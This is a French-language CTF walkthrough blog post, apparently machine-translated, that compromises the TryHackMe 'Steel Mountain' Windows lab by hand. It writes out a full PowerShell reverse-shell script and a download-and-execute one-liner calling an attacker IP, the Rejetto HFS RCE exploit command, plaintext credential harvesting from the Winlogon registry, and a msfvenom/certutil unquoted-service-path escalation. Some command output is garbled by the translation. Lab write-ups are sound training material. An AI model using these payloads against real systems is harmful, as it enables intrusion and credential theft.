Montagne d’acier – TryHackMe – Rédaction du manuel

Reading Time: ( Word Count: )

février 15, 2021
Nextdoorsec-course

Intro

Bonjour et bienvenue à mon tout premier article.

Récemment, j’ai passé beaucoup de temps sur TryHackMe; il s’agit d’une plateforme vraiment addictive qui permet d’étudier et de mettre en pratique ses compétences en piratage informatique en même temps. Au lieu de publier des commandes et des théories, j’ai décidé de rédiger des comptes rendus, car cela apporte beaucoup plus de valeur ajoutée. Commençons donc. Voici un lien vers la boîte.

Steel Mountain est une machine Windows de TryHackMe, basée sur la série Mr Robot (ma série préférée de tous les temps). La procédure officielle est fournie avec Metasploit, ce qui rend l’enracinement assez facile. Cependant, nous allons le faire manuellement aujourd’hui, car il n’est pas possible d’utiliser des outils d’auto-exploitation dans le cadre de l’examen OSCP.

Cela vous permet de comprendre comment tout cela fonctionne en coulisses, de sorte que lorsque vous êtes bloqué par des scripts qui font tout automatiquement, vous pouvez revenir à la méthode manuelle. La méthodologie est restée simple : énumération, exploitation et escalade des privilèges.

Enumération

Exécution d’un scan Nmap :

┌──(kali㉿kali)-[~] └─$ export IP=10.10.212.213
┌──(kali㉿kali)-[~] └─$ nmap -A -Pn -v $IP
ÉTAT DU PORT VERSION DU SERVICE 80/tcp open http Microsoft IIS httpd 8.5 | http-methods : | Méthodes prises en charge : OPTIONS TRACE GET HEAD POST |Méthodes potentiellement risquées : TRACE |_http-server-header : Microsoft-IIS/8.5 |Le site n'a pas de titre (text/html) : Le site n'a pas de titre (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server ? | ssl-cert : Subject : commonName=steelmountain | Emetteur : commonName=steelmountain | Type de clé publique : rsa | Clé publique bits : 2048 | Algorithme de signature : sha1WithRSAEncryption | Non valide avant : 2020-10-11T19:04:29 | Non valide après : 2021-04-12T19:04:29 | MD5 : cf4c 483f 7654 c778 e6b9 0144 1de0 18c9 |_SHA-1 : ed4f 6cac 8059 d465 9e7b 7730 8ac4 56a4 67df d29c |Date : 2021-02-05T15:22:17+00:00 ; -1s à partir de l'heure du scanner. 8080/tcp open http HttpFileServer httpd 2.3 |Le site n'est pas disponible en français, mais en anglais : favicon inconnu MD5 : 759792EDD4EF8E6BC2D1877D27153CB1 | http-methods : |Méthodes supportées : GET HEAD POST |_http-server-header : HFS 2.3 |_http-title : HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Informations sur le service : OSs : Windows, Windows Server 2008 R2 - 2012 ; CPE : cpe:/o:microsoft:windows Résultats du script de l'hôte : |_clock-skew : mean : -1s, déviation : 0s, médiane : -1s | nbstat : Nom NetBIOS : STEELMOUNTAIN, Utilisateur NetBIOS : MAC NetBIOS : 02:d5:4c:6e:e4:ef (inconnu) | Noms : | MONTAGNE D'ACIER<00> Drapeaux : | WORKGROUP<00> Drapeaux : |_ STEELMOUNTAIN<20> Drapeaux : | smb-security-mode : | Compte_utilisé : invité | Niveau d'authentification : utilisateur | Réponse au défi : prise en charge |_ message_signing : désactivé (dangereux, mais par défaut) | smb2-security-mode : | 2.02 : |La signature des messages est activée mais n'est pas requise | smb2-time : | Date : 2021-02-05T15:22:11 |Date de début : 2021-02-05T14:09:29

J’aime inclure le drapeau -v pour la verbosité, alors que l’analyse continue et me donne des résultats, je suis capable de sonder pour voir s’il y a quelque chose d’intéressant. Sur le port 80, nous trouvons un serveur web Microsoft qui contient une image aléatoire d’un personnage de la série Mr Robot.

 

L’exécution du dirbuster n’apporte rien d’intéressant.

 

Lorsque nous explorons le serveur web sur le port 8080, nous trouvons un serveur de fichiers http fonctionnant avec la version 2.3, à gauche en dessous, nous voyons « Informations sur le serveur » qui contient un lien vers le site web du vendeur :

Il nous redirige vers www.rejetto.com/hfs

Exploitation

Cherchons si cette version du serveur web est vulnérable :

┌──(kali㉿kali)-[~] └─$ searchsploit rejetto 2.3
----------------------------------------------------------------------------------------- --------------------------------- Titre de l'exploit | Chemin d'accès ----------------------------------------------------------------------------------------- --------------------------------- Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py ----------------------------------------------------------------------------------------- --------------------------------- Shellcodes : Aucun résultat

 

Copiez l’exploit dans un répertoire local et vérifiez son utilisation. Après lecture, nous avons besoin d’un reverse shell payload, je vais utiliser Powershell, car je ne l’ai pas beaucoup testé. Consultez le code ci-dessous et assurez-vous de remplacer les valeurs IP et port par les vôtres.

Après avoir configuré le payload, il est temps de démarrer notre listener Netcat (besoin de sudo si le port est inférieur à 1023) et notre serveur HTTP pour télécharger et exécuter le binaire reverse shell sur la cible.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/windows/webapps/49125.py ./rejetto.py ┌──(kali㉿kali)-[~] └─$ cat rejetto.py python3 Exploit.py <RHOST> <Target RPORT> <Command> ┌──(kali㉿kali)-[~] └─$ gedit reverse.ps1& $client = New-Object System.Net.Sockets.TCPClient('10.8.152.221',443); $stream = $client.GetStream() ; [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) ; $sendback = (iex $data 2>&1 | Out-String ) ; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' ; $sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2) ; $stream.Write($sendbyte,0,$sendbyte.Length) ; $stream.Flush() ; } $client.Close() ;
┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 listening on [any] 443 ... ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300

 

Maintenant que nous avons tout mis en place, il est temps d’exécuter notre exploit et d’attraper le shell avec notre listener (ce one-liner s’exécute dans la mémoire de Powershell) :

┌──(kali㉿kali)-[~] └─$ python3 rejetto.py $IP 8080 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.8.152.221:5300/reverse.ps1')"
 

L’escalade des privilèges

Nous sommes entrés, ce qui signifie qu’il est temps de poursuivre l’énumération, de trouver les points faibles et d’identifier les configurations vulnérables. Je commence toujours par découvrir qui je suis et quels sont mes privilèges.

whoami

écoute sur [any] 443 ... se connecte à [10 .10.10.10] à partir de (UNKNOWN) [10 .10.212.213] 50067 PS C:\NUsers\NAppData\NRoaming\NMicrosoft\NWindows\NMenu de démarrage\NProgrammes\NDémarrage>whoami steelmountain\Nbill > whoami /priv INFORMATIONS SUR LES PRIVILÈGES ---------------------- Privilège Nom Description État ============================= ============================== ======== SeChangeNotifyPrivilege Contourner la vérification de la traversée Activé SeIncreaseWorkingSetPrivilege Augmenter l'ensemble de travail d'un processus Désactivé

Le contournement de la vérification de la traversée signifie que nous ne pouvons voir que certains fichiers dans certains dossiers sans pouvoir dresser la liste de leur contenu, nous ne pouvons que « traverser » vers le fichier auquel nous avons un accès défini au préalable par l’administrateur ou le système.

 

Autres utilisateurs (cachés)

Voyons les autres utilisateurs existants dans le système, les -Force nous permet également de voir les fichiers cachés :

PS C:\NUsers\Nbill\NDesktop> net users Comptes d'utilisateurs pour \NSTEELMOUNTAIN ------------------------------------------------------------------------------- Administrator bill Guest La commande a été exécutée avec succès. PS C:\NUsers\NBill\NDownloads> Get-ChildItem C:\NUsers -Force | select Name Nom ---- Administrateur Tous les utilisateurs facture Défaut Utilisateur par défaut Public desktop.ini
 
 

Tous les utilisateurs du groupe Administrateurs

Nous ne trouvons aucun utilisateur dans le groupe Administrateurs.

PS C:\NUsers\NBill\NDownloads> net localgroup Administrators Nom d'alias Administrators Commentaire Les administrateurs ont un accès complet et illimité à l'ordinateur/au domaine. Membres ------------------------------------------------------------------------------- Administrateur La commande a été exécutée avec succès.
 
 

Vérifions si Winlogon a sauvegardé des informations d’identification.

PS C:³Users³bill³Downloads> reg query "HKLM³Software³Microsoft³Windows NT³CurrentVersion³winlogon"
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\winlogon Userinit REG_SZ C:\NWindows\system32\Nuserinit.exe, LegalNoticeText REG_SZ Shell REG_SZ explorer.exe LegalNoticeCaption REG_SZ DebugServerCommand REG_SZ non ForceUnlockLogon REG_DWORD 0x0 ReportBootOk REG_SZ 1 VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 Arrière-plan REG_SZ 0 0 0 PreloadFontFile REG_SZ SC-Load.All PasswordExpiryWarning REG_DWORD 0x5 CachedLogonsCount REG_SZ 10 WinStationsDisabled REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} DésactiverCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x7 AutoLogonSID REG_SZ S-1-5-21-3029548963-3893655183-1231094572-1001 LastUsedUsername REG_SZ bill DefaultUserName REG_SZ bill Mot de passe par défaut REG_SZ PMBAf5KhZAxVhvqb AutoAdminLogon REG_SZ 1 PS C:³Users³bill³Downloads> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*" (Registre::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon)
DefaultUserName DefaultPassword --------------- --------------- bill PMBAf5KhZAxVhvqb

Nous avons trouvé le mot de passe de Bill : PMBAf5KhZAxVhvqb

Bien que nous ayons un port RDP ouvert (3389), je n’ai pas pu me connecter, je ne sais pas trop pourquoi.

Conseil : les clés HKLM sont exécutées (si nécessaire) à chaque démarrage du système, tandis que les clés HKCU ne sont exécutées que lorsqu’un utilisateur spécifique se connecte au système.

 

Vérifier si les permissions des dossiers sont faibles

Nous trouverons toutes les permissions de dossiers faibles par lecteur avec accesschk.exe téléchargé depuis le site officiel de Microsoft
officiel de Microsoft
. Vous pouvez utiliser votre serveur apache ou un serveur smb pour le transférer. (m’a pris ~1 min, soyez patient)

PS C:\NUsers\Nbill\NDownloads> .\Naccesschk.exe /accepteteula -uwdqs Users C:\NLes utilisateurs sont les suivants
RW C:\N- RW C:\NProgramData\NAmazon RW C:\NProgramData\NIObit RW C:\NProgramData\NOracle RW C:\NProgramData\NProductData RW C:\NProgramData\N- RW C:\NProgramData\N- RW C:\NProgramData\N- RW C:\NProgramData\N- C:\N- {FD6F83C0-EC70-4581-8361-C70CD1AA4B98} RW C:\ProgramData\Amazon\EC2-Windows RW C:\NProgramData\NAmazon\NEc2Config RW C:\NProgramData\NAmazon\NSSM RW C:\ProgramData\Amazon\EC2-Windows\Launch RW C:\NProgramData\NAmazon\NEC2-Windows\NLaunch\NConfig RW C:\NProgramData\NAmazon\NEC2-Windows\NLaunch\NModule RW C:\ProgramData\Amazon\EC2-Windows\Launch\Scripts RW C:\NProgramData\NAmazon\NEC2-Windows\NLaunch\NParamètres RW C:\NProgramData\NAmazon\NEC2-Windows\NLaunch\NSysprep RW C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Scripts RW C:\NProgramData\NAmazon\NEc2Config\NLogs RW C:\NProgramData\NAmazon\NEc2Configuration\NMoniteur RW C:\NProgramData\NAmazon\NSSM\NInstanceData RW C:\NProgramData\NAmazon\NSSM\NLogs RW C:\NProgramData\NIObit\NAdvanced SystemCare RW C:\ProgramData\IObit\ASCDownloader RW C:\NProgramData\NIObit\NIObit Uninstaller RW C:\NProgramData\NIObit\NIObitRtt RW C:\NProgrammData\NIObit\NAdvanced SystemCare\NHomepage Protection RW C:\NProgrammData\NIObit\NAdvanced SystemCare\NmBootTime RW C:\NProgramData\NIObit\NAdvanced SystemCare\NStartup Manager (Gestionnaire de démarrage) RW C:\NProgrammData\NIObit\NUninstallateur de bits\Ndatabase ... ----------------- -d Ne traiter que les répertoires ou les clés de premier niveau -q Omettre la bannière -s Récurrence -u Supprimer les erreurs -v Verbose (inclut le niveau d'intégrité de Windows Vista) -w N'afficher que les objets ayant un accès en écriture

Le logiciel IObit attire immédiatement mon attention, parce qu’il est inhabituel (après avoir vu quelques paramètres par défaut, vous vous y habituerez). Recherche à nouveau de permissions de fichiers faibles avec « .\accesschk.exe -uwqs Users c:\« . donne les mêmes résultats.

 
 

Vérifier si des processus/services sont en cours d’exécution

PS C:\Users\bill\Downloads> tasklist /svc
Nom de l'image PID Services ========================= ======== ============================================ ... services.exe 640 N/A lsass.exe 648 SamSs svchost.exe 704 BrokerInfrastructure, DcomLaunch, LSM, PlugPlay, Power, SystemEventsBroker svchost.exe 732 RpcEptMapper, RpcSs ASCService.exe 824 AdvancedSystemCareService9 dwm.exe 836 N/A svchost.exe 948 Dhcp, EventLog, lmhosts, Wcmsvc ...

 

 

Recherche du propriétaire du processus du service

Cette ligne renvoie le propriétaire du processus sans droits d’administrateur, si quelque chose est vide sous propriétaire, il est probablement exécuté en tant que SYSTEM, NETWORK SERVICE, ou LOCAL SERVICE.

PS C:\Users\bill\Downloads> Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Nom Poignée Propriétaire ---- ------ ----- Processus d'inactivité du système 0 Système 4 smss.exe 360 csrss.exe 492 csrss.exe 544 wininit.exe 572 winlogon.exe 580 services.exe 640 lsass.exe 648 ASCService.exe 824 dwm.exe 836 spoolsv.exe 1208 amazon-ssm-agent.exe 1252 LiteAgent.exe 1324 LiveUpdate.exe 1452 Ec2Config.exe 1664 WmiPrvSE.exe 2368 taskhostex.exe 2628 bill explorer.exe 2692 bill hfs.exe 2504 bill msdtc.exe 3488 powershell.exe 3636 bill powershell.exe 3660 bill conhost.exe 3668 bill conhost.exe 3692 bill

 

 

Interroger le service

Nous avons vu AdvancedSystemCareService presque à chaque vérification, interrogeons le service pour vérifier sa configuration :

PS C:\Users\bill\Downloads> cmd.exe /c 'sc qc AdvancedSystemCareService9'
[SC] QueryServiceConfig SUCCESS SERVICE_NAME : AdvancedSystemCareService9 TYPE : 110 WIN32_OWN_PROCESS (interactif) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL NOM_DU_CHEMIN_BINAIRE : C:\NProgram Files (x86)\NIObit\NAdvanced SystemCare\NASCService.exe LOAD_ORDER_GROUP : Réservé au système TAG : 1 DISPLAY_NAME : Advanced SystemCare Service 9 DÉPENDANCES : NOM_DU_SERVICE : LocalSystem

Le nom du chemin binaire n’est pas entre guillemets et contient des espaces. Windows essaiera donc d’exécuter Advanced.exe avant l’exécutable proprement dit. Nous devons donc placer notre charge utile dans C:\NProgram Files (x86)\NIObit\N et la renommer Advanced.exe. Redémarrez ensuite le service, car il fonctionne actuellement comme indiqué ci-dessus. Nous avons également confirmé que nous avons un accès en lecture et en écriture (RW) au dossier ci-dessus avec accesschk.exe.

 

Créons notre deuxième charge utile de reverse shell à l’aide de msfvenom, nommons-la Advanced.exe, transférons-la sur la machine cible à l’aide de certutil.exe et démarrons un listener sur le port spécifié. Arrêtez le service, assurez-vous qu’il est arrêté avec Get-Service et redémarrez-le :

PS C:\Users\bill\Downloads> msfvenom -p windows/shell_reverse_tcp LHOST=10.8.152.221 LPORT=5555 -f exe -o Advanced.exe PS C:\Users\bill\Downloads> certutil.exe -urlcache -split -f "http://10.8.152.221:5300/Advanced.exe" Advanced.exe PS C:\Users\bill\Downloads> Stop-Service AdvancedSystemCareService9 PS C:\Users\bill\Downloads> Get-Service AdvancedSystemCareService9 PS C:\Users\bill\Downloads> Start-Service AdvancedSystemCareService9

Vous devriez maintenant avoir un shell en tant que SYSTEM.

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

« Apple neutralise les vulnérabilités exploitées : Une mise à jour complète »

Apple a mis en place des améliorations de sécurité pour neutraliser les vulnérabilités de type "zero-day" ...

« Risques invisibles : Comment la clé volée de Microsoft pourrait débloquer plus de choses que prévu »

Le vol présumé d'une clé de sécurité de Microsoft pourrait avoir permis à des espions liés à Pékin de violer bien ...

« La performance de l’IA de ChatGPT : Au-delà du test de Turing ou pas tout à fait ? »

ChatGPT, un chatbot d'intelligence artificielle d'OpenAI, a fait des vagues dans le paysage technologique grâce à ...
0 commentaires

Soumettre un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *